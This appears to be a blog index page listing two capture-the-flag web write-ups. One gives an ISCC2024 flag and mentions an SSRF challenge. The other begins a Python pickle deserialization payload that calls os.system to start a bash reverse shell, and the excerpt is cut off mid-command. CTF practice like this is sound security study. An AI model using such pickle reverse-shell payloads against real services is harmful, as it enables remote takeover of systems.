2024年5月13日
ISCC2024-web-wp
摘要： 没啥事干，打着玩玩。 练武题 还没想好名字的塔防游戏 打了半天啥也没有，下载源码直接搜： 牛逼。 结合提示，猜出加上页面那个一起字母大写刚好十八位： ISCC{MDWTSGTMMSSSPFRMMM} 代码审计 [De1ctf 2019]SSRF Me原题：[De1ctf 2019]SSRF Me(哈 阅读全文
posted @ 2024-05-13 20:42 Eddie_Murphy 阅读(58) 评论(0) 推荐(0) 编辑
第二届黄河流域网络安全技能挑战赛Web-wp
摘要： myfavorPython 无waf，pickle反弹shell。 import pickle import base64 import os class Exp(object): def __reduce__(self): return (os.system,("bash -c \"bash -i 阅读全文
posted @ 2024-05-13 16:43 Eddie_Murphy 阅读(32) 评论(0) 推荐(0) 编辑